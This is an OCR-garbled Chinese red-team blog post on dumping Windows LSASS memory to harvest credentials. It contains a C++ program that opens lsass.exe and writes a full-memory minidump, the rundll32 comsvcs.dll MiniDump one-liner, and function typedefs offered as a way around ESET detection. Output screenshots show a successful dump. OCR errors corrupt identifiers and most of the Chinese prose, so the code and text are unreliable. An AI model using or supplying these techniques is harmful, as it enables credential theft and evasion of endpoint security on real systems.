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MiniDumpWriteDump X7 APl 1T FZRIAfF dump, demo @0°F:

#include <windows.h>
#include <DbgHelp.h>
#include <iostream>

#include <T1lHelp32.h>



#pragma comment( lib, "Dbghelp.lib" )
using namespace std;

int main(Q) {
DWORD 1sassPID = 0;

HANDLE lsassHandle = NULL;

HANDLE outFile = CreateFile(L"1lsass.dmp", GENERIC_ALL, @, NULL, CREATE_ALWAYS, FILE_AT
TRIBUTE_NORMAL, NULL);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

PROCESSENTRY32 processEntry = {};

processkEntry.dwSize = sizeof(PROCESSENTRY32);

LPCWSTR processName = L"";

if (Process32First(snapshot, &processkEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processkEntry);
processName = processEntry.szExeFile;
1sassPID = processEntry.th32ProcessID;

}

wcout << "[+] Got l1lsass.exe PID:

<< 1sassPID << endl;

1lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemo
ry, NULL, NULL, NULL);

if (isDumped) {

cout << "[+] 1lsass dumped successfully!" << endl;

}

return 0;

IRIFIFRRAN A AR TR Github TEk:
https://github.com/lengjibo/RedTeamTools/tree/master/windows/hashdump

BA1kEE ESET_NOD32 BRI/ :

©©|; C:\Users\Administrator\Desktop\2xml 0O ~ & | & C\Users\Administrator\,.. | 1 ﬁ Erf}

<?xml version="1.0" encoding="UTF-8"?>
- <ESET>
- <LOG>
- <RECORD>
<COLUMN NAME="HE">2021/2/14 22:09:02</COLUMN >
<COLUMN NAME="H#i# B> BN </ COLUMN
<COLUMN NAME="3%| @2 8"> 3fF </COLUMN>
<COLUMN NAME="#§">c:\users\administrator\desktop\hashdumpx64.exe</COLUMN>
<COLUMN NAME="#">Win64/Riskware.LsassDumper.N B fE & ME8</COLUMN=>
<COLUMN NAME="#{F"> 2 & HMBRH R < /COLUMN>
<COLUMN NAME="H "/>
<COLUMN NAME="{Z8"/>
<COLUMN NAME="B{ %" >8A036925DFFA81D5E7EQYF69E6729113945BE2D9 </COLUMN >
<COLUMN NAME="jt e XMW" >2021/2/14 21:54:89 < /COLUMN>
</RECORD>
<fLOG>
</ESET>
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F. BRBUIRE—TRBREXMH, comsvesdll, EARE dump B9757A -

rundl132 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full"

1234 1 Isass B9 PID iz S, FEEFEEEANER, MXELTANBFHRITHN, FRUAEA)
SEBE S —ZzZ DLL 89THEE, FEH MiniDump, E X comsves.dll 89— NS H R,

w CFF Explorer VIl - [comsves.dll)
X4 BE B
L’\b ‘a @ comswas.dil
"
E Offset Size Value
B %] File: comsves.dil
— (3 Dos 88 Characteristics 00160040 Dword 00000000
8 ;%’;M TimeDateStamp 00160044 Dword T7AEEADD
=] Jm”;' 2 MajorVersion 00160048 Word 0000
BFR kK
— (2 fRakap ) MinorVersion 001600AA Word 0000
et ey=y Name 001600AC Dword 00161508
— gé’q‘isi Base 00160080 Dword 00000005
— OR%BER
— DEEmER NumberOffunctions 00160084 Dword 00000016
— gm‘ts; NumberOfNames 00160088 Dword 00000014
— ) Address Converter Ordinal Function RVA | Name Ordinal | Name RVA Name
qbw ‘Walker
— Atk RS
— 4\, identifier . -
— ), import Adder (nFunctions) Dword Word Dword szhAnsi
— ::M Disassembior 00000008 00052E80 0003 00161584 CoCreateActivity
L— %, Resource Editor 00000009 00042030 0004 00161585 CoEnterServiceDomain
0000000A 00042E50 0005 001615CA ColeaveServiceDomain
00000008 00019F70 0006 001615DF ColoadServices
0000000C 0003C0DO 0007 001615EE ComSvesExceptionFilter
00000000 00045870 0008 00161605 ComSvesLogError
(0000000E 000470E0 0009 00161627 DispManGetContext
(0000000F 00018390 000A 00161639 DlicanUnloadNow
00000010 D00OCSED 0008 00161649 DliGetClassObject
00000011 00018900 000C 00161658 DilRegisterServer
00000012 00018900 000D 00161660 DllUnregisterServer /
00000013 0003C200 000E 00161681 GetMTAThreadPoclMetri
00000014 0003C2A0 DOOF 00161699 GetManagedExtension:
00000015 00045C50 0010 001616AE GetObjectContext /
00000016 0003C360 0011 001616BF GetTrkSvrObject
00000017 000531A0 0012 001616CF MTSC
00000018 0003C440 0013 001616E1 MiniDumpW
00000019 00045C80 0014 001616EB RecycleSurrogate
0000001A 00045€90 0015 001616FC SafeRef

MANBRIEFH AT MER RtlAdjustPrivilege K17, X PREEZE NtDILdI B, MSDN )& EBE
TEXENEE, MEBIRIRE MSDN _EEREXFENTAER, B2 UEMRE
WRK  (Windows AR A#) BRI BRI, EEXUT:

NTSTATUS RtlAdjustPrivilege(
ULONG Privilege,
BOOLEAN Enable,



BOOLEAN Currentlinread,
PBOOLEAN Enabled

)

BB PR AR EGAATSEH], demo A0F:

typedef HRESULT(CWINAPI* _MiniDumpW)(
DWORD argl, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUSCWINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);

BERIINGST T 549 ESET_NOD32 dump 7 #H#1E,

PS5 C:\Users\Administratori\Desktop> .\CreateRemoteThreadTest.exe
Invoking COMSVCS!MiniDumpw("604 C:\temp\lsass_from_exe.dmp full™)
k|

PS C:\Users\Administrator\Desktop> dir C:\temp

H=: C:\temp

LastWriteTime Length Name

lsass_from_exe. dmp

PS C:\Users‘\Administrator\Desktop:>

TH2 MEbit:
https://github.com/lengjibo/RedTeamTools/tree/master/windows/MiniDump



